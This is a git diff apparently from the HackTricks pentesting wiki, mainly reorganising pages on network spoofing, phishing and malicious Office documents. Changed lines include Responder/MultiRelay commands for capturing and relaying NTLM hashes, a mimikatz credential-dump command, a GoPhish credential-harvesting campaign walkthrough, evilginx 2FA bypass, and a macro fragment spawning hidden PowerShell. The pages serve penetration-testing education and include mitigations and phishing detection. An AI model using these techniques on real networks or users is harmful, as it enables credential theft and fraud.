[**CBC-MAC**](../cryptography/cipher-block-chaining-cbc-mac-priv.md) +* [**Padding Oracle**](../cryptography/padding-oracle-priv.md)
diff --git a/pentesting/pentesting-network/README.md b/generic-methodologies-and-resources/pentesting-network/README.md similarity index 100% rename from pentesting/pentesting-network/README.md rename to generic-methodologies-and-resources/pentesting-network/README.md diff --git a/pentesting/pentesting-network/dhcpv6.md b/generic-methodologies-and-resources/pentesting-network/dhcpv6.md similarity index 100% rename from pentesting/pentesting-network/dhcpv6.md rename to generic-methodologies-and-resources/pentesting-network/dhcpv6.md diff --git a/pentesting/pentesting-network/ids-evasion.md b/generic-methodologies-and-resources/pentesting-network/ids-evasion.md similarity index 100% rename from pentesting/pentesting-network/ids-evasion.md rename to generic-methodologies-and-resources/pentesting-network/ids-evasion.md diff --git a/pentesting/pentesting-network/network-protocols-explained-esp.md b/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md similarity index 100% rename from pentesting/pentesting-network/network-protocols-explained-esp.md rename to generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md diff --git a/pentesting/pentesting-network/nmap-summary-esp.md b/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md similarity index 100% rename from pentesting/pentesting-network/nmap-summary-esp.md rename to generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md diff --git a/pentesting/pentesting-network/pentesting-ipv6.md b/generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md similarity index 100% rename from pentesting/pentesting-network/pentesting-ipv6.md rename to generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md diff --git a/pentesting/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md b/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md similarity index 95% rename from pentesting/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md rename to generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md index 3c4964a9..8654ff5d 100644 --- a/pentesting/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md +++ b/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md @@ -1,5 +1,7 @@ # Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks +## Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks +
Support HackTricks and get benefits! @@ -16,17 +18,16 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+## Network protocols -# Network protocols - -## LLMNR, NBT-NS, and mDNS +### LLMNR, NBT-NS, and mDNS Microsoft systems use Link-Local Multicast Name Resolution (LLMNR) and the NetBIOS Name Service (NBT-NS) for local host resolution when DNS lookups fail. Apple Bonjour and Linux zero-configuration implementations use Multicast DNS (mDNS) to discover systems within a network. These protocols are unauthenticated and broadcast messages over UDP; thus, attackers can exploit them to direct users to malicious services. You can impersonate services that are searched by hosts using Responder to send fake responses.\ Read here more information about [how to Impersonate services with Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). -## WPAD +### WPAD Many browsers use Web Proxy Auto-Discovery (WPAD) to load proxy settings from the network. A WPAD server provides client proxy settings via a particular URL (e.g., _http://wpad.example.org/wpad.dat_) upon being identified through any of the following: @@ -36,7 +37,7 @@ Many browsers use Web Proxy Auto-Discovery (WPAD) to load proxy settings from th Responder automates the WPAD attack—running a proxy and directing clients to a malicious WPAD server via DHCP, DNS, LLMNR, and NBT-NS. -# Responder +## Responder > Responder an LLMNR, NBT-NS and MDNS poisoner. It will answer to _specific_ NBT-NS (NetBIOS Name Service) queries based on their name suffix (see: [http://support.microsoft.com/kb/163409](http://support.microsoft.com/kb/163409)). By default, the tool will only answer to File Server Service request, which is for SMB. > @@ -97,7 +98,7 @@ To run default Responder behaviour you only have to execute: responder -I -Pv ``` -An interesting technique is to use responder to downgrade the NTLM authentication when possible. This will allow to **capture NTLMv1 challenges and responses** instead of NTLMv2 that can be **easily cracked** [**following this guide**](../../windows/ntlm/#ntlmv1-attack)**.** +An interesting technique is to use responder to downgrade the NTLM authentication when possible. This will allow to **capture NTLMv1 challenges and responses** instead of NTLMv2 that can be **easily cracked** [**following this guide**](../../windows-hardening/ntlm/#ntlmv1-attack)**.** ```bash #Remember that in order to crack NTLMv1 you need to set Responder challenge to "1122334455667788" @@ -120,7 +121,7 @@ You won't be able to intercept NTLM hashes (normally), but you can easily grab s The **logs and the challenges** of default _**Responder**_ installation in kali can be found in `/usr/share/responder/logs` -# DHCP Poisoning +## DHCP Poisoning Windows uses several custom DHCP options such as NetBIOS, WINS, WPAD settings. When a workstation sends a DHCP request to get its networking settings, these additional settings can be included in the DHCP answer to facilitate straightforward connectivity and name resolution. @@ -134,7 +135,7 @@ However, spoofing DHCP answers has unique benefits. **It's definitely stealthier ./Responder.py -I eth0 -rPdv ``` -# Capturing credentials +## Capturing credentials Responder is going to **impersonate all the service using the mentioned protocols**. Once some user try to access a service being resolved using those protocols, **he will try to authenticate against Responde**r and Responder will be able to **capture** the "credentials" (most probably a **NTLMv2 Challenge/Response**): @@ -142,7 +143,7 @@ It is possible to try to downgrade to NetNTLMv1 or to try to disable ESS. ![](<../../.gitbook/assets/poison (1) (1) (1).jpg>) -# Inveigh +## Inveigh > Inveigh is a PowerShell ADIDNS/LLMNR/NBNS/mDNS/DNS spoofer and man-in-the-middle tool designed to assist penetration testers/red teamers that find themselves limited to a Windows system. @@ -150,7 +151,7 @@ It is possible to try to downgrade to NetNTLMv1 or to try to disable ESS. ![](../../.gitbook/assets/45662029-1b5e6300-bace-11e8-8180-32f8d377d48b.png) -# Relay Attack +## Relay Attack **Most of the information for this section was taken from** [**https://intrinium.com/smb-relay-attack-tutorial/**](https://intrinium.com/smb-relay-attack-tutorial/) @@ -180,29 +181,29 @@ python MultiRelay.py -t -u ALL #If "ALL" then all users are relayed ![](<../../.gitbook/assets/image (209).png>) -## Post-Exploitation (MultiRelay) +### Post-Exploitation (MultiRelay) **At this point you can shut off Responder; we don’t need it anymore.**\ **With the shell access we have obtained, there are many actions that we can perform directly from here:** **Mimikatz** commands can also be performed directly **from the shell**. Unfortunately, the target used for this tutorial’s antivirus ate my mimikatz, but the following commands can be executed to run mimikatz, as well as the entire pallette of modules.: **`Mimi sekurlsa::logonpasswords`** -# InveighZero +## InveighZero InveighZero is a C# LLMNR/NBNS/mDNS/DNS/DHCPv6 spoofer and man-in-the-middle tool designed to assist penetration testers/red teamers that find themselves limited to a Windows system. This version shares many features with the PowerShell version of Inveigh.\ More information in the [github of the project](https://github.com/Kevin-Robertson/InveighZero). -# Force Privileged Accounts to login via NTLM +## Force Privileged Accounts to login via NTLM In Windows you **may be able to force some privileged accounts to authenticate to arbitrary machines**. Read the following page to learn how: -{% content-ref url="../../windows/active-directory-methodology/printers-spooler-service-abuse.md" %} -[printers-spooler-service-abuse.md](../../windows/active-directory-methodology/printers-spooler-service-abuse.md) +{% content-ref url="../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md" %} +[printers-spooler-service-abuse.md](../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md) {% endcontent-ref %} -# Solution +## Solution -## Disabling LLMNR +### Disabling LLMNR To disable LLMNR in your domain for DNS clients, open gpedit.msc.\ Navigate to Computer Configuration->Administrative Templates->Network->DNS client.\ @@ -214,7 +215,7 @@ Once the new window opens, enable this option, press Apply and click OK: ![](../../.gitbook/assets/2.jpg) -## **Disabling NBT-NS** +### **Disabling NBT-NS** One option for disabling NBT-NS is to use DHCP scope options. @@ -230,11 +231,11 @@ Select the option “001 Microsoft Disable Netbios Option” from the list and c ![](../../.gitbook/assets/5.jpg) -## WPAD +### WPAD To mitigate against the WPAD attack, you can add an entry for "wpad" in your DNS zone. Note that the DNS entry does not need to point to a valid WPAD server. As long as the queries are resolved, the attack will be prevented. -## Multi-relay +### Multi-relay 1\. **Forcing SMB Signing on all local windows machines**. This setting will digitally sign each and every SMB session which forces both the client and server to verify the source of the packets before continuing. This setting is only enabled by default on Domain Controllers. The following articles from Microsoft detail these settings (which can be enabled through group policy), and how to implement them. @@ -248,7 +249,7 @@ To mitigate against the WPAD attack, you can add an entry for "wpad" in your DNS 4\. **Prevent unauthorised users on your network**. An insider threat will likely not be utilising an SMB Relay attack, as they already have network credentials. By beefing up your physical security policies, preventing rogue devices on the network with ACLs and MAC Filtering, and ensuring proper network segmentation, you can greatly limit the threat of this attack being performed. -# References +## References **Images from:**\ [https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/)\ diff --git a/pentesting/pentesting-network/spoofing-ssdp-and-upnp-devices.md b/generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md similarity index 100% rename from pentesting/pentesting-network/spoofing-ssdp-and-upnp-devices.md rename to generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md diff --git a/pentesting/pentesting-wifi/README.md b/generic-methodologies-and-resources/pentesting-wifi/README.md similarity index 100% rename from pentesting/pentesting-wifi/README.md rename to generic-methodologies-and-resources/pentesting-wifi/README.md diff --git a/pentesting/pentesting-wifi/evil-twin-eap-tls.md b/generic-methodologies-and-resources/pentesting-wifi/evil-twin-eap-tls.md similarity index 100% rename from pentesting/pentesting-wifi/evil-twin-eap-tls.md rename to generic-methodologies-and-resources/pentesting-wifi/evil-twin-eap-tls.md diff --git a/phishing-methodology/README.md b/generic-methodologies-and-resources/phishing-methodology/README.md similarity index 92% rename from phishing-methodology/README.md rename to generic-methodologies-and-resources/phishing-methodology/README.md index dfee9dee..6943c207 100644 --- a/phishing-methodology/README.md +++ b/generic-methodologies-and-resources/phishing-methodology/README.md @@ -1,5 +1,7 @@ # Phishing Methodology +## Phishing Methodology +
Support HackTricks and get benefits! @@ -16,8 +18,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# Methodology +## Methodology 1. Recon the victim 1. Select the **victim domain**. @@ -32,9 +33,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) 2. Prepare the **web page** to steal the credentials 4. Launch the campaign! -# Generate similar domain names or buy a trusted domain +## Generate similar domain names or buy a trusted domain -## Domain Name Variation Techniques +### Domain Name Variation Techniques * **Keyword**: The domain name **contains** an important **keyword** of the original domain (e.g., zelster.com-management.com). * **hypened subdomain**: Change the **dot for a hyphen** of a subdomain (e.g., www-zelster.com). @@ -60,7 +61,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * [https://dnstwister.report/](https://dnstwister.report) * [https://www.internetmarketingninjas.com/tools/free-tools/domain-typo-generator/](https://www.internetmarketingninjas.com/tools/free-tools/domain-typo-generator/) -## Bitflipping +### Bitflipping In the world of computing, everything is stored in bits (zeros and ones) in memory behind the scenes.\ This applies to domains too. For example, _windows.com_ becomes _01110111..._ in the volatile memory of your computing device.\ @@ -72,7 +73,7 @@ For example a 1 bit modification in the domain microsoft.com can transform it in For more information read [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/) -## Buy a trusted domain +### Buy a trusted domain You can search in [https://www.expireddomains.net/](https://www.expireddomains.net) for a expired domain that you could use.\ In order to make sure that the expired domain that you are going to buy **has already a good SEO** you could search how is it categorized in: @@ -80,7 +81,7 @@ In order to make sure that the expired domain that you are going to buy **has al * [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter) * [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/) -# Discovering Emails +## Discovering Emails * [https://github.com/laramies/theHarvester](https://github.com/laramies/theHarvester) (100% free) * [https://phonebook.cz/](https://phonebook.cz) (100% free) @@ -88,12 +89,12 @@ In order to make sure that the expired domain that you are going to buy **has al * [https://hunter.io/](https://hunter.io) * [https://anymailfinder.com/](https://anymailfinder.com) -In order to **discover more** valid email addresses or **verify the ones** you have already discovered you can check if you can brute-force them smtp servers of the victim. [Learn how to verify/discover email address here](broken-reference/).\ +In order to **discover more** valid email addresses or **verify the ones** you have already discovered you can check if you can brute-force them smtp servers of the victim. [Learn how to verify/discover email address here](../../phishing-methodology/broken-reference/).\ Moreover, don't forget that if the users use **any web portal to access their mails**, you can check if it's vulnerable to **username brute force**, and exploit the vulnerability if possible. -# Configuring GoPhish +## Configuring GoPhish -## Installation +### Installation You can download it from [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0) @@ -104,7 +105,7 @@ You will be given a password for the admin user in port 3333 in the output. Ther ssh -L 3333:127.0.0.1:3333 @ ``` -## Configuration +### Configuration **TLS certificate configuration** @@ -246,24 +247,24 @@ ss -l | grep "3333\|443" service gophish stop ``` -# Configuring mail server and domain +## Configuring mail server and domain -## Wait +### Wait The older a domain is the less probable it's going to be caught as spam. Then you should wait as much time as possible (at least 1week) before the phishing assessment.\ Note that even if you have to wait a week you can finish configuring everything now. -## Configure Reverse DNS (rDNS) record +### Configure Reverse DNS (rDNS) record Set a rDNS (PTR) record that resolves the IP address of the VPS to the domain name. -## Sender Policy Framework (SPF) Record +### Sender Policy Framework (SPF) Record -You must **configure a SPF record for the new domain**. If you don't know what is a SPF record [**read this page**](../pentesting/pentesting-smtp/#spf). +You must **configure a SPF record for the new domain**. If you don't know what is a SPF record [**read this page**](../../network-services-pentesting/pentesting-smtp/#spf). You can use [https://www.spfwizard.net/](https://www.spfwizard.net) to generate your SPF policy (use the IP of the VPS machine) -![](<../.gitbook/assets/image (388).png>) +![](<../../.gitbook/assets/image (388).png>) This is the content that must be set inside a TXT record inside the domain: @@ -271,9 +272,9 @@ This is the content that must be set inside a TXT record inside the domain: v=spf1 mx a ip4:ip.ip.ip.ip ?all ``` -## Domain-based Message Authentication, Reporting & Conformance (DMARC) Record +### Domain-based Message Authentication, Reporting & Conformance (DMARC) Record -You must **configure a DMARC record for the new domain**. If you don't know what is a DMARC record [**read this page**](../pentesting/pentesting-smtp/#dmarc). +You must **configure a DMARC record for the new domain**. If you don't know what is a DMARC record [**read this page**](../../network-services-pentesting/pentesting-smtp/#dmarc). You have to create a new DNS TXT record pointing the hostname `_dmarc.` with the following content: @@ -281,9 +282,9 @@ You have to create a new DNS TXT record pointing the hostname `_dmarc.` v=DMARC1; p=none ``` -## DomainKeys Identified Mail (DKIM) +### DomainKeys Identified Mail (DKIM) -You must **configure a DKIM for the new domain**. If you don't know what is a DMARC record [**read this page**](../pentesting/pentesting-smtp/#dkim). +You must **configure a DKIM for the new domain**. If you don't know what is a DMARC record [**read this page**](../../network-services-pentesting/pentesting-smtp/#dkim). This tutorial is based on: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) @@ -295,7 +296,7 @@ v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqP ``` {% endhint %} -## Test your email configuration score +### Test your email configuration score You can do that using [https://www.mail-tester.com/](https://www.mail-tester.com)\ Just access the page and send an email to the address they give you: @@ -326,30 +327,30 @@ Authentication-Results: mx.google.com; dkim=pass header.i=@example.com; ``` -## ​Removing from Spamhouse Blacklist +### ​Removing from Spamhouse Blacklist The page www.mail-tester.com can indicate you if you your domain is being blocked by spamhouse. You can request your domain/IP to be removed at: ​[https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/) -## Removing from Microsoft Blacklist +### Removing from Microsoft Blacklist ​​You can request your domain/IP to be removed at [https://sender.office.com/](https://sender.office.com). -# Create & Launch GoPhish Campaign +## Create & Launch GoPhish Campaign -## Sending Profile +### Sending Profile * Set some **name to identify** the sender profile * Decide from which account are you going to send the phishing emails. Suggestions: _noreply, support, servicedesk, salesforce..._ * You can leave blank the username and password, but make sure to check the Ignore Certificate Errors -![](<../.gitbook/assets/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (11).png>) +![](<../../.gitbook/assets/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (11).png>) {% hint style="info" %} It's recommended to use the "**Send Test Email**" functionality to test that everything is working.\ I would recommend to **send the test emails to 10min mails addresses** in order to avoid getting blacklisted making tests. {% endhint %} -## Email Template +### Email Template * Set some **name to identify** the template * Then write a **subject** (nothing estrange, just something you could expect to read in a regular email) @@ -383,20 +384,20 @@ Note that **in order to increase the credibility of the email**, it's recommende * Search for **public emails** like info@ex.com or press@ex.com or public@ex.com and send them an email and wait for the response. * Try to contact **some valid discovered** email and wait for the response -![](<../.gitbook/assets/image (67) (1).png>) +![](<../../.gitbook/assets/image (67) (1).png>) {% hint style="info" %} -The Email Template also allows to **attach files to send**. If you would also like to steal NTLM challenges using some specially crafted files/documents [read this page](../windows/ntlm/places-to-steal-ntlm-creds.md). +The Email Template also allows to **attach files to send**. If you would also like to steal NTLM challenges using some specially crafted files/documents [read this page](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md). {% endhint %} -## Landing Page +### Landing Page * Write a **name** * **Write the HTML code** of the web page. Note that you can **import** web pages. * Mark **Capture Submitted Data** and **Capture Passwords** * Set a **redirection** -![](<../.gitbook/assets/image (394).png>) +![](<../../.gitbook/assets/image (394).png>) {% hint style="info" %} Usually you will need to modify the HTML code of the page and make some tests in local (maybe using some Apache server) **until you like the results.** Then, write that HTML code in the box.\ @@ -407,20 +408,20 @@ Note that if you need to **use some static resources** for the HTML (maybe some For the redirection you could **redirect the users to the legit main web page** of the victim, or redirect them to _/static/migration.html_ for example, put some **spinning wheel (**[**https://loading.io/**](https://loading.io)**) for 5 seconds and then indicate that the process was successful**. {% endhint %} -## Users & Groups +### Users & Groups * Set a name * **Import the data** (note that in order to use the template for the example you need the firstname, last name and email address of each user) -![](<../.gitbook/assets/image (395).png>) +![](<../../.gitbook/assets/image (395).png>) -## Campaign +### Campaign Finally, create a campaign selecting a name, the email template, the landing page, the URL, the sending profile and the group. Note that the URL will be the link sent to the victims Note that the **Sending Profile allow to send a test email to see how will the final phishing email looks like**: -![](<../.gitbook/assets/image (396).png>) +![](<../../.gitbook/assets/image (396).png>) {% hint style="info" %} I would recommend to **send the test emails to 10min mails addresses** in order to avoid getting blacklisted making tests. @@ -428,7 +429,7 @@ I would recommend to **send the test emails to 10min mails addresses** in order Once everything is ready, just launch the campaign! -# Website Cloning +## Website Cloning If for any reason you want to clone the website check the following page: @@ -436,7 +437,7 @@ If for any reason you want to clone the website check the following page: [clone-a-website.md](clone-a-website.md) {% endcontent-ref %} -# Phishing2.0 +## Phishing2.0 The previous attack is pretty clever as you are faking a real website and gathering the information set by the user. Unfortunately, if the user didn't put the correct password or if the application you faked is configured with 2FA, **this information won't allow you to impersonate the tricked user**. @@ -447,7 +448,7 @@ This is where tools like [**evilginx2**](https://github.com/kgretzky/evilginx2) 3. If the account is configured with **2FA**, the MitM page will ask for it and once the **user introduces** it the tool will send it to the real web page. 4. Once the user is authenticated you (as attacker) will have **captured the credentials, the 2FA, the cookie and any information** of every interaction your while the tool is performing a MitM. -# Detecting the detection +## Detecting the detection Obviously one of the best ways to know if you have been busted is to **search your domain inside blacklists**. If it appears listed, somehow your domain was detected as suspicions.\ One easy way to check if you domain appears in any blacklist is to use [https://malwareworld.com/](https://malwareworld.com) @@ -460,11 +461,11 @@ However, there are other ways to know if the victim is **actively looking for su You can **buy a domain with a very similar name** to the victims domain **and/or generate a certificate** for a **subdomain** of a domain controlled by you **containing** the **keyword** of the victim's domain. If the **victim** perform any kind of **DNS or HTTP interaction** with them, you will know that **he is actively looking** for suspicious domains and you will need to be very stealth. -## Evaluate the phishing +### Evaluate the phishing Use [**Phishious** ](https://github.com/Rices/Phishious)to evaluate if your email is going to end in the spam folder or if it's going to be blocked or successful. -# References +## References * [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/) * [https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/) diff --git a/phishing-methodology/clone-a-website.md b/generic-methodologies-and-resources/phishing-methodology/clone-a-website.md similarity index 100% rename from phishing-methodology/clone-a-website.md rename to generic-methodologies-and-resources/phishing-methodology/clone-a-website.md diff --git a/phishing-methodology/detecting-phising.md b/generic-methodologies-and-resources/phishing-methodology/detecting-phising.md similarity index 95% rename from phishing-methodology/detecting-phising.md rename to generic-methodologies-and-resources/phishing-methodology/detecting-phising.md index 65da0e71..56620395 100644 --- a/phishing-methodology/detecting-phising.md +++ b/generic-methodologies-and-resources/phishing-methodology/detecting-phising.md @@ -1,4 +1,4 @@ - +# Detecting Phising
@@ -16,26 +16,25 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# Introduction +## Introduction In order to detect a phishing attempt it's important to **understand the phishing techniques that are being used nowadays**. In the parent page of this post you can find this information, so if you aren't aware of which techniques are being used today I recommend you to go to the parent page and read at least that section. This post is based in the idea that the **attackers will try to somehow mimic or used the victim's domain name**. If your domain is called `example.com` and you receive a phishing that is using a completely different domain name for some reason like `youwonthelottery.com`, this techniques aren't going to uncover it. -# Domain name variations +## Domain name variations It's kind of **easy** to **uncover** those **phishing** attempts that will use a **similar domain** name inside the email.\ It's enough to **generate a list of the most probable phishing names** that an attacker may use and **check** if it's **registered** or just check if there is any **IP** using it. -## Finding suspicions domains +### Finding suspicions domains For this purpose you can use any of the following tools. Note that these tolls will also perform DNS requests automatically to check if the domain has any IP assigned to it: * [**dnstwist**](https://github.com/elceef/dnstwist) * [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy) -## Bitflipping +### Bitflipping In the world of computing, everything is stored in bits (zeros and ones) in memory behind the scenes.\ This applies to domains too. For example, _windows.com_ becomes _01110111..._ in the volatile memory of your computing device.\ @@ -49,44 +48,43 @@ For more information read [https://www.bleepingcomputer.com/news/security/hijack **All possible bit-flipping domain names should be also monitored.** -## Basic checks +### Basic checks Once you have a list of potential suspicions domain names you should **check** them (mainly the ports HTTP and HTTPS) to **see if they are using some login form similar** to someone of the victim's domain.\ You could also check the port 3333 to see if it's open and running an instance of `gophish`.\ It's also interesting to know **how old each discovered suspicions domain is**, the younger it's the riskier it is.\ You can also get **screenshots** of the HTTP and/or HTTPS suspicious web page to see if it's really suspicious and in that case **access it to take a deeper look**. -## Advanced checks +### Advanced checks If you want to go one step further I would recommend you to **monitor those suspicious domains and search for more** once in a while (every day? it only takes a few seconds/minutes). You should also **check** the open **ports** of the related IPs and **search for instances of `gophish` or similar tools** (yes, attackers also make mistakes) and **monitor the HTTP and HTTPS web pages of the suspicions domains and subdomains** to see if they have copied any login form from the victims web pages.\ In order to **automate this** I would recommend to to have a list of login forms of the victims domains, spider the suspicions web pages and compare each login form found inside the suspicions domains with each login form of the victim's domain using something like `ssdeep`.\ If you have located the login forms of the suspicions domains you can try to **send junk credentials** and **check if it's redirecting you to the victims domain**. -# Domain names using keywords +## Domain names using keywords The parent page also mentions a domain name variation technique that consist on putting the **victim's domain name inside a bigger domain** (e.g. paypal-financial.com for paypal.com). -## Certificate Transparency +### Certificate Transparency It's not possible to take the previous "Brute-Force" approach but it's actually **possible to uncover this phishing attempts** also thanks to certificate transparency. Every time a certificate is emitted by a CA, the details are made public. This means that reading the certificate transparency or even monitoring it, it's **possible to find domains that are using a keyword inside it's name** For example, if attackers generates a certificate of [https://paypal-financial.com](https://paypal-financial.com), seeing the certificate it's possible to find the keyword "paypal" and know that that suspicions email is being used. The post [https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/) suggest that you can use Censys to search for certificates affecting a specific keyword and filter by date (only "new" certificates) and by the CA issuer "Let's Encrypt": -![](<../.gitbook/assets/image (390).png>) +![](<../../.gitbook/assets/image (390).png>) However, you can do "the same" using the free web [**crt.sh**](https://crt.sh). You can **search for the keyword** and the **filter** the results **by date and CA** if you whish. -![](<../.gitbook/assets/image (391).png>) +![](<../../.gitbook/assets/image (391).png>) Using this last option you can even use the field Matching Identities to see if any identity from the real domain matches any of the suspicious domain (note that a suspicious domain can be a false positive). -**Another alternative** is the fantastic project called [**CertStream**](https://medium.com/cali-dog-security/introducing-certstream-3fc13bb98067). CertStream provides a real-time stream of newly generated certificates which you can use to detect specified keywords in (near) real-time. In fact, there is a project called [**phishing_catcher**](https://github.com/x0rz/phishing_catcher) that does just like that. +**Another alternative** is the fantastic project called [**CertStream**](https://medium.com/cali-dog-security/introducing-certstream-3fc13bb98067). CertStream provides a real-time stream of newly generated certificates which you can use to detect specified keywords in (near) real-time. In fact, there is a project called [**phishing\_catcher**](https://github.com/x0rz/phishing\_catcher) that does just like that. -## **New domains** +### **New domains** **One last alternative** is to gather a list of **newly registered domains** for some TLDs ([Whoxy](https://www.whoxy.com/newly-registered-domains/) provides such service) and **check the keywords in these domains**. However, long domains usually uses one or more subdomains, therefore the keyword won't appear inside the FLD and you won't be able to find the phishing subdomain. -
Support HackTricks and get benefits! @@ -102,5 +100,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/phishing-methodology/phishing-documents.md b/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md similarity index 96% rename from phishing-methodology/phishing-documents.md rename to generic-methodologies-and-resources/phishing-methodology/phishing-documents.md index b0d37dcc..731a7631 100644 --- a/phishing-methodology/phishing-documents.md +++ b/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md @@ -1,4 +1,4 @@ - +# Phishing Documents
@@ -16,7 +16,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- Microsoft Word performs file data validation prior to opening a file. Data validation is performed in the form of data structure identification, against the OfficeOpenXML standard. If any error occurs during the data structure identification, the file being analysed will not be opened. Usually Word files containing macros uses the `.docm` extension. However, it's possible to rename the file changing the file extension and still keep their macro executing capabilities.\ @@ -31,14 +30,14 @@ assoc | findstr /i "word excel powerp" DOCX files referencing a remote template (File –Options –Add-ins –Manage: Templates –Go) that includes macros can “execute” macros as well. -## Word with external image +### Word with external image Go to: _Insert --> Quick Parts --> Field_\ _**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http://\/whatever -![](<../.gitbook/assets/image (316).png>) +![](<../../.gitbook/assets/image (316).png>) -## Macros Code +### Macros Code ``` Sub AutoOpen() @@ -54,21 +53,20 @@ With objWshell1.Exec("powershell.exe -nop -Windowsstyle hidden -Command-") .StdIn.WriteBlackLines 1 ``` -# Autoload functions +## Autoload functions The more common they are, the more probable the AV will detect it. * AutoOpen() * Document\_Open() -# Malicious Macros Generators +## Malicious Macros Generators -## MacOS +### MacOS * [**macphish**](https://github.com/cldrn/macphish) * [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator) -
Support HackTricks and get benefits! @@ -84,5 +82,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/search-exploits.md b/generic-methodologies-and-resources/search-exploits.md similarity index 100% rename from search-exploits.md rename to generic-methodologies-and-resources/search-exploits.md diff --git a/shells/shells/README.md b/generic-methodologies-and-resources/shells/README.md similarity index 100% rename from shells/shells/README.md rename to generic-methodologies-and-resources/shells/README.md diff --git a/shells/shells/full-ttys.md b/generic-methodologies-and-resources/shells/full-ttys.md similarity index 100% rename from shells/shells/full-ttys.md rename to generic-methodologies-and-resources/shells/full-ttys.md diff --git a/shells/shells/linux.md b/generic-methodologies-and-resources/shells/linux.md similarity index 100% rename from shells/shells/linux.md rename to generic-methodologies-and-resources/shells/linux.md diff --git a/shells/shells/msfvenom.md b/generic-methodologies-and-resources/shells/msfvenom.md similarity index 100% rename from shells/shells/msfvenom.md rename to generic-methodologies-and-resources/shells/msfvenom.md diff --git a/shells/shells/windows.md b/generic-methodologies-and-resources/shells/windows.md similarity index 100% rename from shells/shells/windows.md rename to generic-methodologies-and-resources/shells/windows.md diff --git a/tunneling-and-port-forwarding.md b/generic-methodologies-and-resources/tunneling-and-port-forwarding.md similarity index 100% rename from tunneling-and-port-forwarding.md rename to generic-methodologies-and-resources/tunneling-and-port-forwarding.md diff --git a/linux-unix/linux-environment-variables.md b/linux-hardening/linux-environment-variables.md similarity index 100% rename from linux-unix/linux-environment-variables.md rename to linux-hardening/linux-environment-variables.md diff --git a/linux-unix/linux-privilege-escalation-checklist.md b/linux-hardening/linux-privilege-escalation-checklist.md similarity index 77% rename from linux-unix/linux-privilege-escalation-checklist.md rename to linux-hardening/linux-privilege-escalation-checklist.md index 382912f3..19867fd3 100644 --- a/linux-unix/linux-privilege-escalation-checklist.md +++ b/linux-hardening/linux-privilege-escalation-checklist.md @@ -1,4 +1,4 @@ - +# Checklist - Linux Privilege Escalation
@@ -16,25 +16,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
